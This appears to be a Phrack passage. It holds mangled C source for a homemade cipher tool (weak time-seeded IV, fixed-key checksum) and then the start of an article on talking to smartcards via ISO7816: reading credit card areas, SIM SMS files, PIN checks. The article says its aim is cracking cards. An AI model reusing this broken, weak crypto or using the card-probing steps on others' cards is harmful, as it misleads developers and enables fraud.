 * (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 ...
 * (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 ...
 * (s+6)%256 (s+7)%256 (s+8)%256 (s+9)%256 ...
 * ...
void	S_E(unsigned char *key, unsigned char *block, unsigned int s)
  int	i;

  for (i = 0; i < DPA_BLOCK_SIZE; ++i)
    block[i] = (key[i] + block[i] + s) % 256;

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* S_D.c */
#include "include/dpa.h"

void	S_D(unsigned char *key, unsigned char *block, unsigned int s)
  int	i;

  for (i = 0; i < DPA_BLOCK_SIZE; ++i)
    block[i] = ((256 + block[i]) - key[i] - s) % 256;

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* E.c */
#include "include/dpa.h"

/* This is the function that is iterated at each round to encrypt */
void    E(unsigned char *key, unsigned char *block, unsigned int shift)
  rbitshift(block, shift);
  S_E(key, block, shift);

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* D.c */
#include "include/dpa.h"

/* This is the function used to decrypt */
void	D(unsigned char *key, unsigned char *block, unsigned int shift)
  S_D(key, block, shift);
  lbitshift(block, shift);

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* blockchain.c */
#include "include/dpa.h"

/* Block chaining for BC modes */
void    blockchain(unsigned char *dst, unsigned char *src)
  int   i;

  for (i = 0; i < DPA_BLOCK_SIZE; ++i)
    dst[i] = dst[i] ^ src[i];

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* iv.c */
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

#include "include/dpa.h"

/* Initialization vector */
void    IV(unsigned char *block)
  int   i;

  srandom(time(NULL) % getpid());
  for (i = 0; i < DPA_BLOCK_SIZE; ++i)
    block[i] = random();

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* key.c */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>

#include "include/dpa.h"

/* This is the function used to precompute the subkeys */
void	DPA_set_key(DPA_KEY *k, unsigned char *key, unsigned int len)
  /* Compute subkey #0 */
  checksum128(key, k->subkey[0].key, len);

  /* Compute subkey #1 -> #15: k.n = H(k.(n-1)%16), where 0 <= n <= 15 */
  checksum128(k->subkey[0].key, k->subkey[1].key, DPA_KEY_SIZE);
  checksum128(k->subkey[1].key, k->subkey[2].key, DPA_KEY_SIZE);
  checksum128(k->subkey[2].key, k->subkey[3].key, DPA_KEY_SIZE);
  checksum128(k->subkey[3].key, k->subkey[4].key, DPA_KEY_SIZE);
  checksum128(k->subkey[4].key, k->subkey[5].key, DPA_KEY_SIZE);
  checksum128(k->subkey[5].key, k->subkey[6].key, DPA_KEY_SIZE);
  checksum128(k->subkey[6].key, k->subkey[7].key, DPA_KEY_SIZE);
  checksum128(k->subkey[7].key, k->subkey[8].key, DPA_KEY_SIZE);
  checksum128(k->subkey[8].key, k->subkey[9].key, DPA_KEY_SIZE);
  checksum128(k->subkey[9].key, k->subkey[10].key, DPA_KEY_SIZE);
  checksum128(k->subkey[10].key, k->subkey[11].key, DPA_KEY_SIZE);
  checksum128(k->subkey[11].key, k->subkey[12].key, DPA_KEY_SIZE);
  checksum128(k->subkey[12].key, k->subkey[13].key, DPA_KEY_SIZE);
  checksum128(k->subkey[13].key, k->subkey[14].key, DPA_KEY_SIZE);
  checksum128(k->subkey[14].key, k->subkey[15].key, DPA_KEY_SIZE);

  /* Paranoia: overwrite subkey #0 to prevent a possible biais in H
   * from revealing informations about the initial key.
  checksum128(k->subkey[15].key, k->subkey[0].key, DPA_KEY_SIZE);

  /* Compute shifts. Shifts are inverted to break a possible relation
   * between shiftings and subkeys. The last subkey is used to compute
   * the first shift, and so on...
  k->subkey[0].shift = hash32(k->subkey[15].key, DPA_KEY_SIZE);
  k->subkey[1].shift = hash32(k->subkey[14].key, DPA_KEY_SIZE);
  k->subkey[2].shift = hash32(k->subkey[13].key, DPA_KEY_SIZE);
  k->subkey[3].shift = hash32(k->subkey[12].key, DPA_KEY_SIZE);
  k->subkey[4].shift = hash32(k->subkey[11].key, DPA_KEY_SIZE);
  k->subkey[5].shift = hash32(k->subkey[10].key, DPA_KEY_SIZE);
  k->subkey[6].shift = hash32(k->subkey[9].key, DPA_KEY_SIZE);
  k->subkey[7].shift = hash32(k->subkey[8].key, DPA_KEY_SIZE);
  k->subkey[8].shift = hash32(k->subkey[7].key, DPA_KEY_SIZE);
  k->subkey[9].shift = hash32(k->subkey[6].key, DPA_KEY_SIZE);
  k->subkey[10].shift = hash32(k->subkey[5].key, DPA_KEY_SIZE);
  k->subkey[11].shift = hash32(k->subkey[4].key, DPA_KEY_SIZE);
  k->subkey[12].shift = hash32(k->subkey[3].key, DPA_KEY_SIZE);
  k->subkey[13].shift = hash32(k->subkey[2].key, DPA_KEY_SIZE);
  k->subkey[14].shift = hash32(k->subkey[1].key, DPA_KEY_SIZE);
  k->subkey[15].shift = hash32(k->subkey[0].key, DPA_KEY_SIZE);

/* And this one for using a file as a secret key */
void	DPA_set_keyfile(DPA_KEY *k, char *filename)
  int	fd;
  void	*key;
  struct stat	sb;

  fd = open(filename, O_RDONLY);
  if (fd < 0)
      fprintf(stderr, "failed to open %s as a secret key.\n", filename);
  fstat(fd, &sb);
  key =
    (unsigned char *)mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
  if (key == (void *)MAP_FAILED)
      fprintf(stderr, "mmap() call failure.\n");
  DPA_set_key(k, key, sb.st_size);

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* data.c */
 * Warning: ugliest file ;)
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "include/dpa.h"

void	DPA_set_data(DPA_DATA *d, unsigned char *data, unsigned int len)
  d->data = data;
  d->length = len;

void	DPA_set_datafile(DPA_DATA *d, char *filename)
  int	fd;
  struct stat	sb;

  fd = open(filename, O_RDONLY);
  if (fd < 0)
      fprintf(stderr, "failed to open data file %s.\n", filename);
  fstat(fd, &sb);
  d->data =
    (unsigned char *)mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
  if (d->data == (void *)MAP_FAILED)
      fprintf(stderr, "mmap() call failure.\n");
  d->length = sb.st_size;

/* Allocate enough memory to hold the result of encryption/decryption */
void	DPA_set_ciphertext(DPA_DATA *d, DPA_DATA *c, int mode, int action)
  int	sz;

  sz = 0;
  if (action == DPA_ENCRYPT)
      if (mode == DPA_MODE_ECB)
          if ((d->length % DPA_BLOCK_SIZE) == 0)
            sz = d->length + DPA_BLOCK_SIZE;
            sz = d->length + (DPA_BLOCK_SIZE - (d->length % DPA_BLOCK_SIZE)) +
      else if (mode == DPA_MODE_CBC)
	  if ((d->length % DPA_BLOCK_SIZE) == 0)
	    sz = d->length + (DPA_BLOCK_SIZE * 2);
	    sz = d->length + (DPA_BLOCK_SIZE - (d->length % DPA_BLOCK_SIZE)) +
	      (DPA_BLOCK_SIZE * 2);
  else if (action == DPA_DECRYPT)
      if (mode == DPA_MODE_ECB)
	sz = d->length - DPA_BLOCK_SIZE;
      else if (mode == DPA_MODE_CBC)
	sz = d->length - (DPA_BLOCK_SIZE * 2);
  c->data =
(unsigned char *)mmap(NULL, sz,
                      PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
  if (c->data == (void *)MAP_FAILED)
      fprintf(stderr, "mmap() call failure.\n");
  c->length = sz;

/* Write the result of encryption/decryption to filename */
void	DPA_write_to_file(DPA_DATA *data, char *filename)
  int	fd;
  int	cnt;
  int	wasfile;

  wasfile = 0;
  if (!strcmp(filename, "-"))
    fd = 1;
      fd = open(filename, O_RDWR|O_CREAT|O_TRUNC, 0600);
      if (fd < 0)
          fprintf(stderr, "failed to open result file %s.\n", filename);
      wasfile = 1;

  for (cnt = 0; cnt < data->length;)
    if ((data->length - cnt) < DPA_BLOCK_SIZE)
      cnt += write(fd, data->data + cnt, data->length - cnt);
      cnt += write(fd, data->data + cnt, DPA_BLOCK_SIZE);

  if (wasfile)

/* Write the result of checksum to filename in base 16 */
void	DPA_sum_write_to_file(DPA_DATA *data, char *filename)
  int	fd;
  int	cnt;
  int	cnt2;
  int	wasfile;
  unsigned char	base[] = "0123456789abcdef";
  unsigned char	buffer[DPA_BLOCK_SIZE * 2 + 2];

  wasfile = 0;
  if (!strcmp(filename, "-"))
    fd = 1;
      fd = open(filename, O_RDWR|O_CREAT|O_TRUNC, 0600);
      if (fd < 0)
          fprintf(stderr, "failed to open result file %s.\n", filename);
      wasfile = 1;

  for (cnt = cnt2 = 0; cnt < DPA_BLOCK_SIZE; ++cnt, (cnt2 += 2))
      buffer[cnt2] =
	base[*(data->data + data->length - DPA_BLOCK_SIZE + cnt) / 16];
      buffer[cnt2 + 1] =
	base[*(data->data + data->length - DPA_BLOCK_SIZE + cnt) % 16];
  buffer[DPA_BLOCK_SIZE * 2] = '\n';
  buffer[DPA_BLOCK_SIZE * 2 + 1] = '\0';

  write(fd, buffer, DPA_BLOCK_SIZE * 2 + 2);

  if (wasfile)

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* ecb.c */
 * Encryption/Decryption in ECB mode.
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include "include/dpa.h"

/* XXX - for better performances, unroll the loops ;) */

void	DPA_ecb_encrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
  int	j;
  int	cnt;
  unsigned char	*cptr;
  unsigned char	block[DPA_BLOCK_SIZE];

  cnt = data->length;
  cptr = cipher->data;
  memset(block, 0, 16);
  for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
      if (cnt < DPA_BLOCK_SIZE)
	  memcpy(block, data->data, cnt);
	  memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
	memcpy(block, data->data, DPA_BLOCK_SIZE);
      for (j = 0; j < 16; ++j)
	E(key->subkey[j].key, block, key->subkey[j].shift);
      memcpy(cptr, block, DPA_BLOCK_SIZE);
      cnt -= DPA_BLOCK_SIZE;

  /* Padding block */
  memset(block, 0, DPA_BLOCK_SIZE);
  if (data->length % DPA_BLOCK_SIZE)
    block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
  for (j = 0; j < 16; ++j)
    E(key->subkey[j].key, block, key->subkey[j].shift);
  memcpy(cptr, block, DPA_BLOCK_SIZE);

void	DPA_ecb_decrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
  int	j;
  int	cnt;
  unsigned char	padding;
  unsigned char	*cptr;
  unsigned char	block[DPA_BLOCK_SIZE];

  /* Data is padded so... we got at least 2 * DPA_BLOCK_SIZE bytes and
   * data->length / DPA_BLOCK_SIZE should be even
  if ((data->length % DPA_BLOCK_SIZE) || data->length < (2 * DPA_BLOCK_SIZE))
  /* Extract padding information */
  memcpy(block, data->data + data->length - DPA_BLOCK_SIZE, DPA_BLOCK_SIZE);
  for (j = 15; j >= 0; --j)
    D(key->subkey[j].key, block, key->subkey[j].shift);
  padding = block[DPA_BLOCK_SIZE - 1];
  cipher->length -= padding;
  cptr = cipher->data;
  cnt = data->length - DPA_BLOCK_SIZE;
  memset(block, 0, DPA_BLOCK_SIZE);
  for (;
       cnt > 0;
       cnt -= DPA_BLOCK_SIZE, data->data += DPA_BLOCK_SIZE,
	 cptr += DPA_BLOCK_SIZE)
      memcpy(block, data->data, DPA_BLOCK_SIZE);
      for (j = 15; j >= 0; --j)
	D(key->subkey[j].key, block, key->subkey[j].shift);
      if (cnt >= DPA_BLOCK_SIZE)
	memcpy(cptr, block, DPA_BLOCK_SIZE);
	memcpy(cptr, block, DPA_BLOCK_SIZE - (padding % DPA_BLOCK_SIZE));

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* cbc.c */
 * Encryption/Decryption in CBC mode.
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include "include/dpa.h"

/* XXX - for better performances, unroll the loops ;) */
void	DPA_cbc_encrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
  int	j;
  int	cnt;
  unsigned char	*cptr;
  unsigned char	block[DPA_BLOCK_SIZE];
  unsigned char	iv[DPA_BLOCK_SIZE];
  unsigned char	xblock[DPA_BLOCK_SIZE];

  /* IV */
  cptr = cipher->data;
  memcpy(xblock, iv, DPA_BLOCK_SIZE);
  for (j = 0; j < 16; ++j)
    E(key->subkey[j].key, iv, key->subkey[j].shift);
  memcpy(cptr, iv, DPA_BLOCK_SIZE);
  cptr += DPA_BLOCK_SIZE;

  cnt = data->length;
  memset(block, 0, 16);
  for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
      if (cnt < DPA_BLOCK_SIZE)
	  memcpy(block, data->data, cnt);
	  memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
	memcpy(block, data->data, DPA_BLOCK_SIZE);
      blockchain(block, xblock);
      for (j = 0; j < 16; ++j)
	E(key->subkey[j].key, block, key->subkey[j].shift);
      memcpy(xblock, block, DPA_BLOCK_SIZE);
      memcpy(cptr, block, DPA_BLOCK_SIZE);
      cnt -= DPA_BLOCK_SIZE;

  /* Padding */
  memset(block, 0, DPA_BLOCK_SIZE);
  if (data->length % DPA_BLOCK_SIZE)
    block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
  blockchain(block, xblock);
  for (j = 0; j < 16; ++j)
    E(key->subkey[j].key, block, key->subkey[j].shift);
  memcpy(cptr, block, DPA_BLOCK_SIZE);

void	DPA_cbc_decrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
  int	j;
  int	cnt;
  unsigned char	padding;
  unsigned char	*cptr;
  unsigned char	block[DPA_BLOCK_SIZE];
  unsigned char	xblock[DPA_BLOCK_SIZE];
  unsigned char	xblockprev[DPA_BLOCK_SIZE];
  unsigned char	*xorptr;

   * CBC mode uses padding, data->length / DPA_BLOCK_SIZE _MUST_ be even.
   * Also, we got a block for the IV, at least a block for the data and
   * a block for the padding information, this makes the size of cryptogram
   * at least 3 * DPA_BLOCK_SIZE.
  if ((data->length % DPA_BLOCK_SIZE) || data->length < (3 * DPA_BLOCK_SIZE))

  /* Extract padding information by undoing block chaining on last block */
  memcpy(block, data->data + data->length - DPA_BLOCK_SIZE, DPA_BLOCK_SIZE);
  for (j = 15; j >= 0; --j)
    D(key->subkey[j].key, block, key->subkey[j].shift);
  xorptr = data->data + data->length - (DPA_BLOCK_SIZE * 2);
  blockchain(block, xorptr);
  padding = block[DPA_BLOCK_SIZE - 1];
  cipher->length -= padding;

  /* Extract Initialization vector */
  memcpy(xblock, data->data, DPA_BLOCK_SIZE);
  for (j = 15; j >= 0; --j)
    D(key->subkey[j].key, xblock, key->subkey[j].shift);

  cptr = cipher->data;
  cnt = data->length - (DPA_BLOCK_SIZE * 2);
  memset(block, 0, DPA_BLOCK_SIZE);
  for (data->data += DPA_BLOCK_SIZE;
       cnt >= DPA_BLOCK_SIZE;
       cnt -= DPA_BLOCK_SIZE, data->data += DPA_BLOCK_SIZE,
	 cptr += DPA_BLOCK_SIZE)
      memcpy(block, data->data, DPA_BLOCK_SIZE);
      memcpy(xblockprev, block, DPA_BLOCK_SIZE);
      for (j = 15; j >= 0; --j)
	D(key->subkey[j].key, block, key->subkey[j].shift);
      blockchain(block, xblock);
      if (cnt >= DPA_BLOCK_SIZE)
	memcpy(cptr, block, DPA_BLOCK_SIZE);
	memcpy(cptr, block, DPA_BLOCK_SIZE - (padding % DPA_BLOCK_SIZE));
      memcpy(xblock, xblockprev, DPA_BLOCK_SIZE);

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* sum.c */
 * This is basically a CBC encryption with a fixed IV and fixed key, the
 * last block being the checksum. This needs a rewrite because there is
 * no need to allocate memory for the whole ciphertext as only two blocks
 * are needed.
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include "include/dpa.h"

/* XXX - for better performances, unroll the loops ;) */
void	DPA_sum(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
  int	j;
  int	cnt;
  unsigned char	*cptr;
  unsigned char	block[DPA_BLOCK_SIZE];
  unsigned char	iv[DPA_BLOCK_SIZE];
  unsigned char	xblock[DPA_BLOCK_SIZE];

  /* Fixed key */
  DPA_set_key(key, (unsigned char *)"deadbeef", 8);

  /* Fixed IV */
  memcpy(iv, "0123456789abcdef", DPA_BLOCK_SIZE);
  memcpy(xblock, iv, DPA_BLOCK_SIZE);

  cptr = cipher->data;
  memcpy(xblock, iv, DPA_BLOCK_SIZE);
  for (j = 0; j < 16; ++j)
    E(key->subkey[j].key, iv, key->subkey[j].shift);
  memcpy(cptr, iv, DPA_BLOCK_SIZE);
  cptr += DPA_BLOCK_SIZE;
  cnt = data->length;
  memset(block, 0, 16);
  for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
      if (cnt < DPA_BLOCK_SIZE)
	  memcpy(block, data->data, cnt);
	  memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
	memcpy(block, data->data, DPA_BLOCK_SIZE);

      blockchain(block, xblock);
      for (j = 0; j < 16; ++j)
	E(key->subkey[j].key, block, key->subkey[j].shift);
      memcpy(xblock, block, DPA_BLOCK_SIZE);
      memcpy(cptr, block, DPA_BLOCK_SIZE);
      cnt -= DPA_BLOCK_SIZE;
  memset(block, 0, DPA_BLOCK_SIZE);
  if (data->length % DPA_BLOCK_SIZE)
    block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
  blockchain(block, xblock);
  for (j = 0; j < 16; ++j)
    E(key->subkey[j].key, block, key->subkey[j].shift);
  memcpy(cptr, block, DPA_BLOCK_SIZE);

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* usage.c */
#include <stdio.h>
#include <stdlib.h>
#include <sysexits.h>
#include <unistd.h>

void	usage(void)
  fprintf(stderr, "usage: dpa -a action -m mode -k key -d data -o outfile\n");
  fprintf(stderr, "       dpa -s filename\n");
  fprintf(stderr, "\taction can be : encrypt, decrypt\n");
  fprintf(stderr, "\tmode can be   : ecb, cbc\n");
  fprintf(stderr, "\tkey can be    : \"key\" or file:/path/to/keyfile\n");
  fprintf(stderr, "\tdata can be   : \"data\" or file:/path/to/datafile\n");
  fprintf(stderr, "\toutfile can be: \"-\" (stdout) or a filename\n");
  fprintf(stderr, "\twhen -s is used, a checksum of filename is computed\n");
  exit (EX_USAGE);

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* main.c */
#include <stdio.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>

#include "include/dpa.h"

int	main(int argc, char *argv[])
  int	kflag;
  int	dflag;
  int	sflag;
  int	mflag;
  int	aflag;
  int	oflag;
  int	opt;
  int	mode;
  int	action;
  char	*output;
  DPA_KEY	key;
  DPA_DATA	data;
  DPA_DATA	cipher;

  mode = DPA_MODE_ECB;
  action = DPA_ENCRYPT;
  output = "-";
  mflag = aflag = kflag = dflag = sflag = oflag = 0;
  while ((opt = getopt(argc, argv, "a:m:k:d:o:s:")) != -1)
      switch (opt)
	case 'a':
	  if (!strcmp(optarg, "enc") || !strcmp(optarg, "encrypt"))
	    action = DPA_ENCRYPT;
	  else if (!strcmp(optarg, "dec") || !strcmp(optarg, "decrypt"))
	    action = DPA_DECRYPT;
	      fprintf(stderr, "unknown action, expected encrypt or decrypt\n");
	      return (EX_USAGE);
	  aflag = 1;

	case 'm':
	  if (!strcmp(optarg, "ecb"))
	    mode = DPA_MODE_ECB;
	  else if (!strcmp(optarg, "cbc"))
	    mode = DPA_MODE_CBC;
	      fprintf(stderr, "unknown mode, expected ecb or cbc\n");
	      return (EX_USAGE);
	  mflag = 1;

	case 'k':
	  if (strncmp(optarg, "file:", 5) || strlen(optarg) == 5)
	    DPA_set_key(&key, (unsigned char *)optarg, strlen(optarg));
	    DPA_set_keyfile(&key, optarg + 5);
	  kflag = 1;

	case 'd':
	  if (strncmp(optarg, "file:", 5) || strlen(optarg) == 5)
	    DPA_set_data(&data, (unsigned char *)optarg, strlen(optarg));
	    DPA_set_datafile(&data, optarg + 5);
	  dflag = 1;

	case 'o':
	  output = optarg;
	  oflag = 1;

	case 's':
	  DPA_set_datafile(&data, optarg);
	  sflag = 1;


  if ((!aflag || !mflag || !kflag || !dflag) && !sflag)

  if (sflag)
      DPA_set_ciphertext(&data, &cipher, DPA_MODE_CBC, DPA_ENCRYPT);
      DPA_sum(&key, &data, &cipher);
      DPA_sum_write_to_file(&cipher, output);
      DPA_set_ciphertext(&data, &cipher, mode, action);
      if (action == DPA_ENCRYPT)
	  if (mode == DPA_MODE_ECB)
	    DPA_ecb_encrypt(&key, &data, &cipher);
	  else if (mode == DPA_MODE_CBC)
	    DPA_cbc_encrypt(&key, &data, &cipher);
      else if (action == DPA_DECRYPT)
	  if (mode == DPA_MODE_ECB)
	    DPA_ecb_decrypt(&key, &data, &cipher);
	  else if (mode == DPA_MODE_CBC)
	    DPA_cbc_decrypt(&key, &data, &cipher);
      DPA_write_to_file(&cipher, output);
  return (EX_OK);

|=[ EOF ]=---------------------------------------------------------------=|


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3e, Phile #0x0f of 0x10

|=--------=[ Introduction for Playing Cards for Smart Profits ]=--------=|
|=------------------=[ ender <> ]=-----------------=|

--=[ Contents ]=----------------------------------------------------------

	1 - Introduction 
	2 - Dealing with ISO7816 standard 
		2.1 - Receiving Answer To Reset 
		2.2 - Sending commands
		2.3 - Receiving answers 
		2.4 - For example
        2.5 - Your Rights

	3 - SmartCard Man in the middle
	4 - BruteForcing unidenfitied cards
	5 - Examples of mapping and filesystem
		5.1 - Mapping of old french Credit cards
		5.2 - File System of SIM Cards

	6 - Cyphering with smartcards 
	7 - Magnetic stripe 
		7.1 - ISO 
		7.3 - BINARY

	8 - Synchronous smartcards
	9 - Programming a card for ISO7816 purposes
	10 - Conclusion 
	11 - Greetings
	12 - Bibliography 	

    Appendix A: Communication log 

--[ 1 - Introduction ]-----------------------------------------------------

	All what is written in this article must be used for cracking cards 
and shouldn't be used to secure already existing application. However, 
the aim of this article is to show you how to engage the dialog with 
your smartcards (very useful when you don't have a girlfriend to talk 
with), and not the way to use already cracked cards.

What you need for studying card is : 
    - THE standard : ISO7816
        ( )
    - a smartcard reader (Phoenix)

    - optionally a Reader/Writter for magnetic stripes (just for fun).
    - maybe a Season -I will explain later-, 
    - some bank cards,
    - and a computer:
       - Under Linux/Unix : you can check for shcap 
         or try SmartCard ToolKit
         ( )
       - Under bill's non-operating system : WinExplorer from Dexter 

--[ 2 - Dealing with ISO7816 standard ]------------------------------------

    You will need to refer to this standard. Here we will see how to engage
the communication with a smartcard plugged in your phoenix (smartcard 
reader), which is plugged in your rs232 port. I have put two examples with :
a credit card, and a SIM card. If no specific card is mentionned in the 
presentation of the protocol, it means that the information is valid for all
7816 ISO compliant cards.
----[ 2.1 - Receiving Answer To Reset (ATR) ]------------------------------

	First, you will need to reset the card (with an ioctl, or directly 
typing 'reset' in a smartcard shell) to boot the card, then it sends a data 
buffer to identify itself, and to explicit its specifications such as the 
frequency, the programming voltage, the GuardTime the Convention 
(inverse/direct)... What is really useful to know is :

The ATR looks like that :
ATR : TS T0 TA1 TB1 TC1 TD1 TA2 ... TDn Tk TCK

    TS  : 3B  Direct Convention
          3F  Inverse Convention

    T0  : gives the number of Historical Bytes (specific to the card)

    TD  : gives the protocol (mostly T=0 send Word, T=1 send Characters)

    Tk  : The k Historical Bytes... not really verbose in fact :/

    TCK : Just a checksum to verify you have a good ATR...

Nota : If you don't receive 0x3B or 0x3F for TS, maybe you must reconfigure
your soft to receive Byte in another convention...

----[ 2.2 - Sending commands ]---------------------------------------------
	The instructions are send to the card via a serial link. The protocol 
is explained in the standard but is mereley like an I2C without scl. The 
packets are composed with five parts :
	CLA : 1 Byte. ISO Class. e.g. :
BC = french credit cards, 
A0 = SIM cards, 
00 = Moneo/Open cards...
	INS : 1 Byte. Instruction. e.g.:
20 = PIN verification, 
B0 = Read 
B2 = Read record
D0 = Write
DC = Write record
A4 = Select directory
8x = Encryption with key 'x', the algorithms depends on the card, 
C0 = Get answer...
	P1, P2 : 2 Bytes. Parameters, mostly it's an address to read/write. 
	LEN : 1 Byte. Length expected for the answer or lenght of the argument
	ARG : LEN Byte. Argument you give for the instruction (bytes to write,
          data to cypher, PIN to verify...), sometimes, the card must answer 
          a byte of aknowledgement -depending on the instruction- between 
          each bytes in the argument buffer.

----[ 2.3 - Receiving answers ]-------------------------------------------- 

    To aknowledge to a command, the card send the instruction byte back to 
the terminal, then a length of datas equal to the parameter LEN of the 
command, and finish with SW1, SW2. ( 0x90 0x00 when the operation was 
succesful ). If the operation wasn't successful, then only SW1 and SW2 are 
sent, with a specific error code :

	0x6E 0x00	CLA error
	0x6D 0x00	INS error
	0x6B 0x00	P1, P2 error
	0x67 0x00	LEN error
	0x98 0x04	Bad PIN
	0x98 0x08	Unauthorized Access
	0x98 0x40	Card blocked

----[ 2.4 - For example ]-------------------------------------------------- 

Here are some examples taken from shcap. You can download it from 
<> .
But you can do the same with 7816shell <>

If you use Shcap :
oops:~/7816/shcap_rel$ sudo ./shcap 

Terminal> help
Shcap v0.0.9 by ender <>

connect                 - Connect to the Serial port given with -D parameter
XX .. XX                - Send XX .. XX to the card
log                     - Log comm between card and terminal (need a season)
bf                      - Try to find ISO CLA byte of the card
reset                   - Reset the card
direct                  - Set direct convention
inverse                 - Set inverse convention
cd XX XX                - Select directory XX XX
cat XX XX               - Read rd_len bytes at address XX XX
readrec XX              - Read rd_len on record XX of current file
get N                   - Get N bytes of the answer
login                   - Verify PIN given
cypher XX .. XX         - Cypher 8 Bytes
set                     - Set parameter :
                           cla=XX    Set the iso class to XX (default 00)
                           key=X     Set the cyphering key to X (default 0)
                           rd_len=N  Set the read lenght to N (default 8)
					       timeout=N Set the poll timeout to Nms (default 500ms)
help                    - Display this help
quit                    - Exit the shell

  ###### Example with a Bull CP8 mask 4 BO' (french credit card) ######
Terminal> connect

Reset for a B4/B0' :
ATR: 3F 65 25 08 93 04 6C 90 00

Analysing the ATR :
3F -  Convention inverse
6  -  TB and TC sent (if TD is not sent, the protocol is 0 : send words)
5  -  5 historical Bytes
25 -  TB : Programming current : max 50mA - Programming Voltage 5V
08 -  TC : GuardTime : 8 * 1/9600Hz = 833us

Historical Bytes
93 04 6C 90 00  --Note that the 90 00 change to 90 10 after a first 
                  wrong PIN code

Reading Constructor Area of a B4/B0' :
Terminal> set cla=bc

Terminal> set rd_len=8
READ LENGHT set to 8

Terminal> cat 09 C0          
               --Read at $09C0 8 bytes
Card> B0 19 DF 64 08 1F F4 0F B0 90 00  

Analysing Constructor Area :
19 DF 64 08 : Card Serial Number 
1FF4 / 0FB0 : Free Read area : $07F8 / Access Control : $03E8
90 00       : ok
Signing Data with salt in [07E8] :
Terminal> set key=0                         --Cipher 8 Bytes with K0 
KEY set to 0

Terminal> cypherCB 09 11 15 04 16 00 07 E8  --ARG=09 11 15 04 16 00 [07 E8]
Card> 90 00                                 --Instruction ok

Getting response :
Terminal> get 8                             --Get answer 8 bytes
Card> C0 12 4F 54 A3 64 C5 2B 07 90 00      --12 4F 54 A3 64 C5 2B 07 ok

             ##### Example with a SIM card for GSM #####
Terminal> set cla=a0
ISO CLASS set to A0

Verifying PIN 12345678 on a SIM :
Terminal> login                             --Check PIN 8 Bytes
Enter your PIN code : 12345678              --The PIN is encoded in ASCII
Card> 90 00                                 --PIN ok

Selecting /TELE
COM/SMS/ directory in a SIM :
Terminal> cd 7f 10                          --Select TELECOM dir : 7F 10
Card> 9F 16 		                        --Dir description, 20Bytes
Terminal> cd 6f 3c                          --Select SMS subdir : 6F 3C
Card> 9F 0F		                            --Dir description, 15Bytes

Reading msg (15 Bytes) :
Terminal> get 15                            --Get 15 Bytes
Card> C0 00 00 ** ** 6F 3C ** ** ** ** ** ** ** ** ** 90 00

Reading the 3rd SMS of current file :
Terminal> set rd_len=176
READ LENGHT set to 176

Terminal> redrec 3                          --Read record 3, 176Bytes
Card> B2 00 FF .. FF 90 00	                --status = 00, data=0xff..ff
Terminal> quit

Well. That's all for the examples...not really dificult, isn't it ?

--[ 2.5 - Your Rights ]----------------------------------------------------

    SmartCards use some kind of filesystems, so there are some rights (xrw)
for the different areas are files. The right to execute is obviously for 
instructions only... 
Generally, for a single-provider card, there are three levels :

    -Nobody, when you boot the card you are not yet identified...
    -Owner, you are "logged in" when you enter your PIN
    -Provider, there is another code named PUK you can't know. It is 
     used for example when you stupidly block your card, to reset the 
     blocking mechanism. 

    In a SIM card (at least, the SIM card I have worked on), you cannot 
read or write if you didn't login. When you enter (the instruction name is 
verify) the PIN, then you can read, and even write in some files (mostly 
in TELECOM directory, containing your SMS, your dialing numbers, etc.).
    In credit cards, which are divided in areas, you need the PIN just to
read/write your Transaction Bulletin (at least for french ones... It is also
a major security hole if the PIN is not verifyed dynamically by the bank).

--[ 3 - SmartCard Man in the middle ]--------------------------------------

